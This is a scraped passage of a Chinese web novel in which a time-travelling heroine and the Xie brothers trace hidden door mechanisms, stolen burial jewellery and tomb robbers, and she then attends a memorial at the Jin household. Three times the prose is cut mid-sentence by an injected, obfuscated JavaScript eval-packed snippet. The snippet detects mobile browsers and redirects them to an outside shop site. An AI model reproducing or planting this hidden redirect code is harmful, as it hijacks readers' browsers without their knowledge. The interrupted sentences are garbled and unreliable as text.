“哦,是啊!”韩桂大叫,“天哪,难道朱承林那晚,就是这样避开朱家人进来的?” “不,不对。”我却摇头,“这处机关只是方便装卸,但未改变大门的重量。你们方才实验机关都上了四个衙差,就是防止木门砸下。朱承林当晚孤身一人,又怎么可能不惊动任何人而拆卸呢?” 韩桂失望的直叹气。 但他想的其实没错,朱承林,的确是通过机关,绕开了朱家人的注视回到了家。 “小哥,你来看这侧门,可眼熟?” 医馆学徒随着我走到二进院子的侧门处,只一眼就叫了起来:“这、这和我们铺子的后门长一个样啊!” 是啊,要不然我留意了呢。 “你给我们演示傅纪手艺时,没展示后门的机关。但你说过,你们铺子后门一推就变了位置,所以,朱家这道和你们后面一模一样的侧门,应该也有机关,对不对?” 学徒点头,立马上前操作。站在椅子上,伸手拔出了门框顶端那黑色的暗榫,再用手扶住小门边缘使劲一抬,只听“咯噔”一声,小门便在众目睽睽下,被他轻松的移到了左边。而原本的出入口没了门的装饰,嵌在墙里很是突兀。内里横闩没任何变化,观之就似未曾打开一样。 “天哪,门框可以移动!”韩桂惊呼,“还没什么声音!” “啊!那朱承林就是这么进来的!通过这道小门!”浮生以拳击掌,刚刚下了结论,复又迷惑的问,“诶,可是,朱家妻妾刚那样子,不像是知道这些机关啊。难道,朱承林知道,却没给她们说?” 当然不是,对朱承林而言,这宅子、这家具,不过是维持极阴风水的工具,恐怕他也从来没有好好赏析过它们。 只是,这道门嘛—— “小哥,你曾说,朱承林失踪几日前,你走到巷子口被他骑马赶超时盯着看。但其实,你刚关了铺子后门,动用了这个机关,是不是?” 学徒搔搔头,露出恍然:“是哦,怪不得!他盯着我看,是因为看到我使用机关?而且,而且……” “而且这两扇门的做工、款式都一模一样,显然他当时正在震惊,震惊于原来这门竟有机关,以至于没有注意你招手,没和你打招呼。” 浮生听明白了:“所以案发那晚,他从青楼回来后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678198|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就悄悄通过这门进了院子!” “可他干嘛要悄悄的啊?”韩桂不解。 我抬头示意,不远处朱家妻妾正在叽叽喳喳的闹腾着。一个撕扯着另一个的衣服,一个指着另一个鼻子叫嚷。 朱承林好色,时有留宿青楼,妻妾本就争宠不已,对此肯定不满。他发现门的秘密不过几日,没来及告知家人很正常。 朱家后门及侧门,一旁虽都有门房,但上回来我就注意到,门房严实、门窗紧闭,朱承林必得大力敲门,睡在其中的仆人才能听到。 案发那晚,他本就是吃了青楼闭门羹灰溜溜回来的,但凡惊动妻妾,被调侃不说,恐又引发一轮战争。 因此,朱承林便灵机一动,尝试照猫画虎打开机关,没想到一举成功,他便得以悄悄回来了。 这个解释不仅合理,也能打破五鬼运来索命的扯淡说法,消弭了一层恐怖色彩。而且,通过此,我们也就知道,为何朱承林当晚悄然回家,却没去任何一位妻妾房中,而是进入了阴祭台,以至于家人迟迟未发现他。 当然,我如此大张旗鼓的翻找朱家机关,也并不只为了证明这一点。还有—— “头儿!这儿又有暗格!里面竟然还有东西!” “哎呀,这个珠花好漂亮!是老朱送我的吗?”一位妾室惊喜的叫道,看来是在她屋中发现的。 “胡说,老朱都不知道有机关!” “不可能,老朱都没送给过我礼物,怎么可能送你?拿过来!” “不给,这是我的!” 妻妾撕逼中,还有人急着喊叫:“快快,快去我屋子看看,说不定也有东西!老朱这是转性,给我们留下惊喜了呀!” 从一开始的拒绝到最后的主动申请,朱家妻妾态度变化可真大。于是乎,在极力配合之下,家具暗格一一被翻找出,全家足有几十处之处。 暗格大多都是空的,惟有少数藏有东西——六件极为精美的首饰。其中一只通体碧绿、顶端用金丝盘绕镂刻的玉簪子,一看就品相极佳,更是被朱家妻妾争相宣示主权。 这些东西自然是要带回府衙的,朱家妻妾一听,瞬间从对抗变成了联合,一道向衙差发难,指责他们以权谋私。 看着被遣去安抚的韩桂焦头烂额,浮生拍拍胸脯,后怕的咽了咽口水。一面问我:“王小姐,这首饰是怎么回事呀?朱承林藏得?可他不是不知道暗格的存在吗?” 我没有回答,盯着桌子侧面严丝合缝的暗格,脑中浮现出另一个画面。 至此,我已经能确定,这些首饰,就是本案关键的链条之一。而且,鬼影鬼火,必于此有关。 我这厢沉浸在朱家的重大发现中,并没有意识到,跟在我身旁的二公子,已久久未言语。他白着一张脸,机械的、木讷的听着我们的对话,僵硬、失神。 然此刻,在对面的朱家妻妾再次厮打成一团,浮生也不得不硬着头皮冲去拉架之际,他突然开口了。 “朱家门风不正,才由得妻妾这般胡闹。有点规矩的家里,哪会像这个样子?妻妾也不是没有和睦相处的。”他咬了咬唇,声音越发嘶哑,“当心爱之人的妾室,总比嫁入贫户,吃糠咽菜的好。” 声音入耳的时候,我的思绪还集中在案件上,足足花了一分钟,才后知后觉的意识到,他这是在对我说话。 他说什么?妻妾和睦,吃糠咽菜? 呵,他这番话,难道是想申明什么? 边界线,他又在触碰边界线了。 我甚至无心与他辩论这番话的荒唐,只突兀、直白的问了句:“你心爱的人在别人怀中,你是什么感受?” 二公子一愣,原本幽幽觑着我的眼神立时挪开。 我也没再看他,而是透过朱家阁楼、屋檐,看向远方,正有一群飞鸟悠闲飞过。 吃糠咽菜是苦,可金笼子中的飞鸟,就不苦了吗? 69.悬案 本以为发生了不快,今日我和二公子的交集也就到此结束,却没想到,离开朱家的时候,他还是跟随我上了马车。 我很诧异,直言我这是要去府衙汇报今日所得,他出来查案都是背着哥哥的,现在同去,不怕被训斥呐? 二公子却气鼓鼓的抱臂不语,只偶尔怨念的瞪我一眼,像被抢走心爱玩具的小孩子,委屈又不敢哭。 一路沉默,我快要被他暗戳戳的眼刀捅死了,及至府衙门口,我实在耐不住了,就说:“你别这样看我了,行吗?搞得跟我对不起你一样!” 二公子张张口,用极其细小的声音飞快地说了句话,我都没听清。但看他表情,绝不是什么好话。 我也懒得细究,伸手撩帘子就准备下马车,二公子却忽然伸手,抓住了我的手腕。 他甚少这样拽我,一向不都是扯袖子的吗? 我很惊讶,扭脸去瞧他,就见他眼中无神,嘴角颤了几次,终是说道:“羽书妹妹,你真的长大了,不再是那个只知玩闹的小姑娘了。” 说罢,他已然起身,率先下了马车。他回首来扶我,像每个带我出去玩的日子,熟络、自然。 心一揪,我突然觉得自己很残忍。 他的儿时伙伴,我无法还给他。朦朦胧胧的感情,我也毫不留情的直接戳破了。 王羽书,若你知道我这样对你的竹马,会怪我吗? *** “……怎么了?” “没事,我没事。” 我跟着二公子走进府衙,神思仍在恍惚。只听到他敷衍的回答了谢宁轩的关怀,旋即拔高了些音量,“你、你拿着簪子干嘛?咦,怎么,哥,难道你有相好的了?” 话音落地,恰逢我进厅门,谢宁轩正无语扶额:“你胡说什么?” 二公子故作轻松,堆着笑容:“有相好也没事,你告诉我,我帮你保密。” 谢宁轩放下簪子,一本正经的看向他:“第一,用词不当,什么叫‘相好’?不尊重人。” 二公子坐下倒茶,眼神飞过去:“这么说,是有那么个心仪的人了?” 谢宁轩没有回答,只端着谆谆凿凿的目光朝我投来。 四目相对,我瞬间心乱如麻。 谢宁轩嘴角旋起,梨涡深深。但出口,他只是调侃弟弟:“你房中丫鬟不少,还是管束管束自己,免得心有旁骛,下科不中吧。” 二公子扁扁嘴,又幽怨的刮我一眼。嘴里却说:“考不过你,反正考不过你了。” 气氛似有些微妙,谢宁轩审视的眼光在我和二公子之间徘徊。 但二公子马上就打断了他:“哎呀,快说,这簪子到底是哪来的?你一向不沾染女子之物,怎么会拿着一根簪子?” 不想让哥哥深入发现任何端倪的心思太过明显,好在谢宁轩也没说什么,他只是深深看一眼弟弟,便平静的将簪子放回到桌上一堆首饰中,回答道:“第二,这是证物。” “证物?什么证物?” 谢宁轩不答反问:“宁辕,你不是应该在书院温书吗?来府衙做什么?浮生告诉我,这两天你没少跟着捣乱。” “我怎么是捣乱!当日那鹦鹉还是我买的呢!这案子论理我也得跟上!”二公子立时不乐意了,手叉腰,一副理不直气也壮的样子。 谢宁轩也没真想和他计较,又瞧他一眼,便说起了案件。 “今天有数家珠宝铺、古玩店认出了雷姓男子的画像,我让人带来了他贩卖的物品。这簪子便是其一,这里还有几样,你们瞧瞧。”说罢,他捡起陈列的首饰陆续递给我们。 我接过一对缠金丝宝镯,拿在手中颇有分量,但瞧不出什么名堂。 二公子本心情不佳,勉强自己听着,懒懒接过一件,也没什么兴致。然而他垂首瞧了几秒,却忽然抬头,露出了大吃一惊的表情。 就见他急切地打开我们带来的证物包袱,将手上簪子与其放在一起,大叫道:“天哪,这、这是同样的手艺……前同朝皇宫司珍局的手艺!” “什么?”我没听清,“前同朝?” 谢宁轩微笑:“没错,认得很准。前同末期帝王酷爱使用金器,所用器皿、宫造首饰几乎都是金制,哪怕是玉、珍珠、宝石,也会用金丝镶刻,奢靡之气历朝历代都很少见。像这样华贵的首饰珠宝,不难认出出处,应当是哀帝时的东西。” “那可一百多年前了啊。”二公子神思凝聚,咬唇思考,“据说他日常居住的整座宫殿都以金子装饰。本朝开国后,将他的奢靡物件收回重新打造,凑出的金锭都够发好几年军饷的了。” 这段历史我知道,我发现我穿越到了个架空朝代时,就研究了这里的历史轴线。 这个朝代与我们的历史似乎是平行时空,有些我们的历史朝代在此间出现,因此与他们聊天时,我会发现,有些历史名人、事件,或者诗句都是共通的,可是你说青朝对应着咱们历史书上的哪个阶段?又似乎无从追查,毕竟与青朝衔接的朝代,也不是历史书上任何一国。 青朝上一王朝国号为同,亡国皇帝封号哀帝,他上头的几任都是荒淫无道的主儿。到哀帝这儿继续嚯嚯,就把江山嚯没了。 这些首饰竟然是前同朝的物件,难道说,雷姓男子在贩卖古物? “不,这样说不准确。”谢宁轩摇头,“应该说,贩卖的就是前同朝宫里的东西。” 二公子讶然:“可是,这不可能啊。哀帝亡国时,宫中物件不都搜罗一空了吗?他从那弄来的?难道有人想恢复这种奢靡风气,私下铸造?” “不可能。这种手艺对匠人、对提炼金子的器具要求都很高,不举朝廷之力,很难私下达成。” “那是哪来的?” “你觉得呢?既是司珍局的手艺,民间不会有。这些东西只可能出现在几个地方,要么是哀帝赏赐过的大臣宗室私下珍藏,要么就是……” 我眼睫一颤,一个答案浮现在脑海中。 谢宁轩似乎看穿了我,梨涡露出。他没有着急等我说出,而是伸手从桌上拿起一本卷宗,转而提起另一件事。 “羽书,昨天你说傅纪死亡前去过女儿山,让我想到了一桩悬案。” “什么悬案?” “两年前我刚上任,曾接到报案,有猎户称,于女儿山中发现两具无名尸体,死状骇然,身边还围绕着不少死了的虫蛇鼠蚁。我率衙差还没赶到,山上突然下大暴雨,山体滑坡将尸体掩埋。此后搜查了几轮,都没能找到尸体,此案便只能不了了之了。” 我和二公子对视一眼,他是由始至终的糊涂,我却是猜到答案后的震惊。 “哥,你说这个干嘛?这和现在的案子有关吗?” “当然有关。”谢宁轩合上卷宗,语气平平但很有力量,“因为那座山上,有座墓,很有名的墓。” 二公子方了:“什么?这都什么和什么呀?墓,这和墓有什么……”话说到一半,他突然露出震动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687606|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,“等一下,哥,你说的,不会是平庆公主墓吧!那个前同哀帝最宠爱的女儿,那个传说中离奇消失了的女儿?” 平庆公主?这名字好熟……哦,那个废弃的公主府。它在上阳街西头,邻近城墙,而女儿山,不就在西城墙外吗? 谢宁轩再次露出梨涡:“羽书,有了这个线索,结合你刚才的猜测,不妨说说你的推论?” 我盯着面前同样工艺的两堆首饰,已震惊到无以复加。 天哪,陪葬品,它们竟然是陪葬品! 可雷姓男子贩卖的,和朱家暗格里的,怎么会是同样的物件? 二公子一把将手上首饰扔到桌上,跳到两米外:“什么?这玩意是陪葬品?” 谢宁轩微微侧头:“今天盘查找到的类似器物,包括首饰、配件、摆件、器皿等,足有几十件。根据不同商家回忆,不止是雷姓男子贩卖,还有好几个人,口音相似,明显是个团伙。你知道的,我朝开国时,前同皇室、重要臣子尽数被诛杀、打压、收归,金器基本都上交熔了另用。但今天找到的数量远超于可能存在的前朝余孽的收藏,不是陪葬品,还能是哪来的?” “可是、可是……”二公子嘴唇抖了抖,但还是赞同了哥哥的推论,“好吧,这么说,的确也只能来自平庆公主墓里了。毕竟前同覆灭时因为涉及传国玉玺丢失传闻,高祖皇帝特意派军队封了前朝历代皇陵,重兵把守,代代延续至今。唯有这没纳入皇陵的公主墓,有可能被人盗。” “嗯,平庆公主消失后,哀帝悲恸万分,便在她的公主府不远处的女儿山,为她盖了个衣冠冢,传闻陪葬规格非常高。” “等一下,”我打断了头脑风暴,有些糊涂,“你们说平庆公主消失,又是怎么回事?” 二公子听哥哥分析听得入神,被我打岔很不爽:“这和今天案子有关吗?你怎么连这也忘了?” 还是谢宁轩给我解释:“同史记载,平庆公主是在众目睽睽下离奇消失的。” 额,你这解释跟没解释一样诶。 谢宁轩微笑,眼中有光闪烁:“羽书还是这么爱追根究底。不过这确实扯远了,有时间我细细给你讲。你只需要知道,她的确是失踪了,哀帝后半生一直在寻找这个女儿,始终未果,死生亦不知。她的母妃,据闻是目睹消失一幕,接受不了刺激,饮鹤顶红自尽了。哀帝大悲,便将母女,一并葬在了距离公主府最近的女儿山上。” 众目睽睽下消失,这怎么可能?估计是障眼法或者罕见的自然现象,古人琢磨不透,就演化成传说了。 我也就没再深究,而是问道:“这么说,雷姓男子及其团伙,是盗墓贼,盗了平庆公主的墓。那,他卖给钱掌柜的红玉头面,也是陪葬品了?” 二公子愣了三秒,旋即恍然道:“对、对!没错!我说它怎么那么奢华那么耀目!对,它根本就是平庆公主的陪葬品!” 想到当日那泛着红光如幽幽美人般的头面竟然是从百年前的坟墓中挖出来的,我和二公子面面相觑。 但是,雷姓男子身份的揭露,似乎并不能解开本案的悬疑,反而更添疑点。 二公子就先提出:“姓雷的是盗墓的,那和朱承林有什么关系?朱家为什么也藏有陪葬品,难道、难道是他从盗墓贼手里买来的?” 谢宁轩没有回答,而是让二公子将今天所有事情原原本本的复述一遍。 听完后,谢宁轩摇了摇头:“不,这些首饰,不是朱承林藏得。” 70.宫中规矩 我松了口气,他也做出了一样的判断。 从医馆学徒的描述和朱家妻妾的表现来看,朱承林一家对傅纪留下家具的精妙,知之甚少。今天这六样首饰都藏得很深,分布在不同房间,这绝不可能是朱承林干的。 那么,只有一种可能,它们都是被原主人,傅纪藏得。 二公子嗤之以鼻:“这怎么可能,傅纪可是个朴实人!不讲究吃不讲究穿,怎么会和盗墓的勾结,买前朝的陪葬品?” 谢宁轩睨一眼弟弟:“谁说是买的?” “不是买……那怎么来的?” 我看向谢宁轩:“两年前,女儿山。” 谢宁轩眼光晶亮,朝我露出微笑,梨涡深深。“我也是这么想的。” 二公子看看哥哥,又看看我,站起来黑了脸:“喂,你们两个打什么哑谜!” 心绪微荡,我抽回目光,给二公子解释。“你看,平庆公主墓在女儿山,傅纪死前一天,也去过女儿山。他是两年前死的,女儿山死状骇人的无名尸体出现,也是两年前。这说明什么?” “说明……嗯,”二公子张张口,“他也参加了盗墓!” …… 谢宁轩叹口气,接过我的话头:“这说明,两年前,傅纪撞见了盗墓的场景。那几样首饰,恐怕就是他从盗墓贼手中偷来的。” 二公子还是一脸懵。我只好解释的再细一些。 医馆学徒曾说过,两年前,傅纪自女儿山回家后埋头木工活,中间去过几个屋子取材料,随后将自己关在屋里,不吃不喝,连每天检验徒弟习作都没去。 他为什么一反常态? 我在朱家看着傅纪的家具,没来由的,却想起了几日前在钱掌柜的灵前见到的一幕。棺木前见到那红玉头面时,它就放在一个盒子中。 我清清楚楚的记得,当小厮恼火的关上盒子时,严丝合缝浑然一体。当时被胖子的话影响心神,只觉慑人感消失,现在回头想想,如此制作精良的木盒,不正是傅纪的手艺吗? 所以,傅纪当日在女儿山一定遭遇了某件事,令他改变了习惯,单独在屋中避开他人,但是又传来了做木工活的声音。 结合他藏起来的几样首饰不难推出,当时的他,回家后便将那几样小的首饰藏了起来,可这头面与配套的簪环镯,他则花了一夜的时间,为它打造了个盒子。 这些首饰,这些陪葬品,何来?定与山上的盗墓活动有关。 至此,傅纪和雷姓男子,和钱掌柜之间,隐性的联系便浮出了水面。 “钱掌柜从盗墓贼手中买的头面,盒子是傅纪打造……哦,它就应该是两年前傅纪从盗墓贼手中偷来的。可怎么又回到姓雷的那厮手中了?”二公子一字一句的说着,额头川字不断加深,“这俩人又中了一样的毒。那和朱承林又有什么关系?他连暗格都不知道啊。还有胖子,他为什么也中毒?还有还有,这四个人里,为什么朱承林完全不同,是被捂死的?好家伙,我怎么感觉问题越来越多,越理越乱了啊。” 乱吗?并不是。 至少朱家闹鬼,就有解释了。 “什么意思?那不是谛听和五鬼造成的吗?” 我无语扶额,谢宁轩也皱眉斥责弟弟。不过现在不是科学教育的时候,所以我只说道:“你先不管谛听和五鬼,将朱家这两年的遭遇分开来看。” 分开来看,朱家闹鬼其实有三个组成部分。 第一,朱承林摆阴祭台进行五鬼运财。这一点虽然听着邪门,但除了那个恶心人的房间外,并没有实质性的影响。 第二,鹦鹉学舌。朱家一段时间的恐慌来自于此,但鹦鹉虽然吓人,还顶着“通阴阳”的名声,背着袭击主人的罪名,却没有证据证明,晚上出现的鬼影、鬼火,就全部与它有关。 第三,鬼影鬼火。鬼影,合理怀疑鹦鹉半夜没少飞出来吓人,但鬼火呢?鹦鹉可不会点蜡烛啊。 那么,什么场合下,会有鬼火出现? 二公子愕然:“我哪知道啊?嗯……给小鬼开道?” 谢宁轩丢给弟弟两个白眼,冷声道:“你今天回去就把《论语·述而》抄五十遍,看看你能不能记得孔夫子的箴言。” 二公子不高兴的撅撅嘴。 我看着好笑,就又给出点提示:“傅纪藏了宝贝在暗格里,但他死了。朱家成了新的主人,家具却没丢。那么,在浩如烟海且不能确定具体方位的暗格里,如果你想找到这几样……” 二公子终于懂了:“啊!我明白了!有人趁夜潜入朱家,在搜东西!鬼影就是他们!那鬼火,那鬼火……” “你大晚上找东西不点火折子?”谢宁轩无奈。 没错,朱家的鬼影鬼火,与什么阴阳什么地府都没关系——它就是人来偷东西。 所谓闹鬼,本质是一种手段。 谢宁轩嘴角噙着笑容,看向我的眼眸晶莹又明亮:“羽书当真聪慧。” “那、那鹦鹉怎么解释?”二公子不甘心,“还有,这伙盗墓贼盗墓就行了,为什么要杀这几个人?哦,杀傅纪可以理解,恨他偷东西,但杀钱掌柜干嘛?还有胖子,这些盗墓贼,按理说都不知道胖子的存在啊!” 谢宁轩看向弟弟:“总算问出个有水平的问题。” “嘁,那你知道答案了?” “有些猜想。” “什么?”我赶忙追问。 谢宁轩没有回答我,而是又问弟弟:“宫中规矩,你可知道?” 二公子懵了,我也一头雾水。 “嫔妃自戕历朝历代都被视为不详,不能葬入皇陵。这也是哀帝为平庆公主单独造墓,并将母女葬一起的原因。但不管怎么说,那是他最爱的妃子和女儿,他除了给高规格的陪葬外,棺椁,也一定极为讲究。” 二公子点头:“是这么个理儿,然后呢?” “宫中下葬,棺椁怎么处理?” “嗯,”二公子想了想,“水银封棺,用以保护尸身不败。” “这位妃子本就是饮鹤顶红自尽,尸体又遇水银。而且自戕妃嫔不会停灵七日,往往在死亡当夜就被拉走掩埋,那么……” “什么?”二公子急得屁股都离开了凳子。 谢宁轩却悠悠一笑,卖起关子来:“都说了只是猜想,当然还得等证实。王副官已经去验钱掌柜了,明早再去开馆,相信一定能有个说法。” 二公子差点跳起来,“开棺?开傅纪的棺?” 谢宁轩不悦:“怎么了?大惊小怪的。不开棺怎么查清什么毒?” 二公子嘴唇抖了三抖:“这对死者很不敬,不吉利的!” 我真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701817|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被这祖宗迷信程度震惊了,忍不住教育:“这怎么能叫对死者不敬?死因未果,死法未解,死者难道不是死不瞑目吗?开棺是为了更好的替死者伸冤!” 话音一落,我感到兄弟二人眼光俱是一变。 二公子是震动,跟看陌生人一样盯着我。 谢宁轩却是意味深长,那眼神中,含义太多。 我慌张解释:“啊,那个,哦,说书的不都这么讲的吗?古代洗冤名臣,都是这样的呀,包拯、狄仁杰、宋慈……呵呵,我在金华老听呢。” “你不是失忆了吗?怎么还记得说书的内容?”谢宁轩幽幽问道。 我心一惊,面上却丝毫不露。“嗨,大事要事忘光光,旁门左道、乱七八糟的,倒是还记得。” 二公子咧嘴一笑:“羽书妹妹,你这毛病还真蹊跷!不过你可少听些吧,这都讲的什么玩意呀!” “好了,别打岔了!”我忙转移话题,“那中毒这几位就等我爹给出结果吧。现在知道凶手是谁了,但是怎么抓啊?” 二公子献策:“嘿,在朱家埋伏呀!等盗墓贼再来搜查,一网打尽!” “不行,衙差翻查朱家那么大动静,街坊邻居都出来看热闹,盗墓贼会一点风声听不到,还傻乎乎自投罗网吗?” “额……那、那就在销赃处拦截呗!去蹲守!” 这次否定的是谢宁轩:“这的确是一般处理该类案件的方法,但是本案行不通。” “为什么?他们已经卖完了?” “不,钱掌柜小厮不是说过吗?雷姓男子说或许还能搞到一副头面,到时候再卖给钱掌柜。不管从朱家还是今天各个首饰店、古玩店,均未发现另一幅头面的存在,说明他们手上还有保留。” “那不就行了!蹲守必能逮住!” 我忍不住了:“你怎么那么笨啊!你哥都说了,今天把各个古玩店、首饰店都搜查了,你自己想想,盗墓贼近期敢出手吗?” 二公子不服:“多等等不就行了!” 谢宁轩摇头:“不行。且不说守株待兔本就是下下之策,就以现在京城严苛的核查力度,盗墓贼万一心有余悸,潜逃出京怎么办?他们手中的器物,我们确定不了大小,如都是发簪、钗环一类,藏在怀中太难搜出。大件如头面、摆件,他们也可以找地方暂时藏起或者埋了,这样等下去,只会错过良机。要想尽快抓住,必须主动出击。” 可是,怎么出击呢? 我垂下眼帘,细细思索着。 木盒的存在让我们发现了傅纪和红玉头面的联系,可是这中间时隔两年啊。两年前藏起的物件,两年后才现世。 朱家闹鬼也闹了两年。 两年,两年。 盗墓贼在朱家的搜寻是极有耐心的,竟然一找就是两年。而从分散在京城各个首饰店、古玩店的陪葬品来看,盗墓贼也是很谨慎的,一点一点、分散着销赃,并不敢和盘托出。 那么,两年时间,他们总得有地方落脚吧?可诺大的京城,这一家家盘查起来,什么时候才能有结果? 谢宁轩抱臂立在我的对面,忽然抬眼看我,笑容放大,梨涡深深。 同一瞬间,有电光在我脑海划过,盗墓贼的落脚点、朱家为什么闹鬼能持续两年、朱承林为什么会死,我一下子全明白了! 71.金府 盗墓贼是在谢宁轩布下天罗地网的第四天抓住的,在他们的落脚点,朱家三条街外的一处小屋。 这期间,老爹验尸、开馆,取得了极大的成果,傅纪和钱掌柜的死因也查明了。谢宁轩还派人去了平庆公主墓,拓写了墓室中所有壁画,其中几幅,更是将本案的其他疑点,都一一解释了。 但消息传来时,我并没能第一时间赶到府衙,而是陪着郡主,在金府。 是,今天,是金宝鸯的生辰。 白事早已办完,金府撤下了白幡白幛,唯金宝鸯的屋中,原本挂着得意之作的地方,空着大片白墙。灵牌在元宝蜡烛的映衬下,孤零零的冷寂。 郡主靠坐在八仙桌边,轻轻抚摸着那副吴道子的真迹,眼泪止不住的流。 “宝鸯、宝鸯最爱热闹,往年生辰都会邀上一众闺中密友,泼墨成画,对诗弹琴,好不热闹。可今年、今年却只有……” 只有三五好友,泪洒往日回忆。 寇湘湘也来了,与郡主相携相顾,无言默默后,寇湘湘差丫鬟送进来几个画卷。林霜玉虽从没入过姐姐的交际圈,但因着郡主的关系,也来送金宝鸯最后一程。 六桃看了一眼主子,得她颔首后,便也将三个画卷拿来,与其他好友送来的,放到了一起。 我本以为这是好友们原本给金宝鸯准备的生日礼物,还有些诧异。因为林霜玉之前说过,她姐姐在绣鸳鸯戏水的屏风,没想到绣花大赛一朝遭难,屏风也没绣完。林霜玉身子尚未痊愈,却也不想让姐姐在天之灵遗憾,便带病完成了。 怎么今天她带来屏风外,还拿来三副画?那郡主手上吴道子的真迹,干嘛不放过去? “哪呀?那不是湘湘她们准备的礼物。”郡主闻言却摇头,用袖子拭泪,郁郁道,“都是宝鸯自己画的。” 金宝鸯的作品? 我很惊讶,余光瞥见六桃正在整理一堆画卷,其中一副打开,正是林霜玉提过的《四君子》之《梅》。眼前一亮,我不自觉走了过去,又打开几幅细细一览,顿觉山水倚仗交错,浑然天成。 天哪,金宝鸯画的真不错!我忍不住深深感慨,这样的人物,若非遭遇土匪磨难,或也可列中华女画家之名,流芳千古。 “可惜啊,《四君子》,再也集不齐《四君子》了……”我喃喃着。 林霜玉听见了,哀哀道:“现在就连《梅》《兰》《菊》,也再无问世的机会了。” “这是为什么?” “金府月前来报,希望能将金姐姐的墨宝都收回去,说要烧了,祭祀金姐姐的亡魂。” “什么?烧了?”我大惊。 尚未问出原因,门外传来声响,是个中年妇人在丫鬟的簇拥下走入。穿着雍容华贵,发髻一丝不苟,然愁思忧郁的面容,布满血丝的双眼,还是诉说着她的哀伤。 郡主瞬间泪崩,起身迎了上去:“伯母,伯母,都怪我,都怪我……” 金夫人勉力卷起嘴角,攀住郡主臂膀,温言道:“郡主莫要自责,此事乃小女一意孤行,又何必牵累郡主?郡主已为小女跪经,又抄录佛经,何其用心?老妇心慰,断不敢指责郡主。” 替自己剖白的言语入耳,郡主愈加无地自容,捂着帕子痛哭。林霜玉轻抚着她,也朝金夫人福了福身,哑声道:“霜玉一向仰慕金姐姐气度,却不料姐姐遭遇不测……夫人节哀,莫要伤了身子。” 金夫人略点点头,又朝我看来,也颔首示意。 随后,她便指挥丫鬟,朝桌上那堆画卷走去。 我登时有些慌,忙侧身拦住丫鬟,期期艾艾的问:“夫人,这些画,您、您不会真是打算烧、烧了吧?” 金夫人垂下眼帘,目光落在画作上,一时未作回答。 这一刻,我能清晰的感知到,她不舍得,她也是不舍得的。是啊,自己的女儿,承袭了自己画作天分的女儿的遗作,笔墨之间、跃然纸上,处处洋溢着女儿的气息,怎么能付之一炬呢! 然而,沉默后,金夫人还是叹了口气:“去吧,都拿去……” “金夫人,不可!”我脱口打断了她,“这些都是金小姐生前的得意之作,应好生保存、传播,让世人皆知她的才华,怎么能烧了啊!” 金夫人笑得勉强:“不过是一时兴起的涂鸦之作,怎可比大家的传世瑰宝?” “涂鸦?不是啊!”我忙打开那副《梅》,紧紧盯着她的眼睛,不吝赞美,“这幅画泼墨挥就一气呵成,望之笔墨细致,工而不板。虽较徽宗腊梅作之彩墨工细设色清雅略显不足,却自有妙趣,笔力亦现不凡。如此佳作,怎能……” “这位小姐也爱观画?你是……”金夫人愕然,睁大眼瞧着我,血丝都退了些。 “我叫王羽书,我是……” 郡主忽然拦下话头,含糊其辞:“哦,她是我的义妹,也和宝鸯认识,故来吊唁。” 说罢,她还朝我摇了摇头。 我一愣,旋即明白了郡主的用意,心下一暖。 此次江瑟楼爆炸,闹得纷纷扬扬,人尽皆知,尤其还涉及了状元之死,更是在坊间流传,成为茶余饭后的谈资。 但金宝鸯亦是从江瑟楼中抬出的。担心有碍她的名声,在案发最初,谢宁轩便封锁了这个消息,只对外称她乘车路过,受楼体坍塌之殃离世。连带着我和郡主的出现,也一并保密处理。 金家,固然被告知了前因后果,却未必晓得我的名字家门。郡主此举,显示是希望我不被牵连,不被责怪。 可事到如今,这又算什么呢?金家,或许正是因为担心金宝鸯之死真相流出,影响金家名望,才想把她的遗物都收集销毁,哪怕这些无辜的画作。我又如何能隐瞒? 我捏了捏郡主的手表达感谢,下一瞬,我已径直走上前叩拜,直言不讳。“禀夫人,我叫王羽书,就是当日与金小姐一道进江瑟楼的人。没能救下金小姐,是我无能,还请夫人责罚。” “王妹妹!” 在郡主的惊呼声中,金夫人身子颤了颤。她呆滞的盯着我,旋即伸手向我指来。 我心一沉,无颜面对。 是,当日大家都是自身难保,从道德上讲,我没有对不起金宝鸯。可一道进去的人,最后却只她性命不在,这份愧疚,实在无法简单化之。 我低下了头,准备迎接暴风雨。谁知,触感却是一双柔软的手。金夫人轻轻抚住了我的胳膊,轻颤着、低吟着。 “是你,是你……”泪水从金夫人眼中溢出,她低头望着我,有太多太多情绪在眼中交杂。然而最终,都化成了一句“起来吧,这怎么能怪你呢?” 我有些意外,更多的是无尽的感伤。鼻子很酸,眼泪也难以自控。 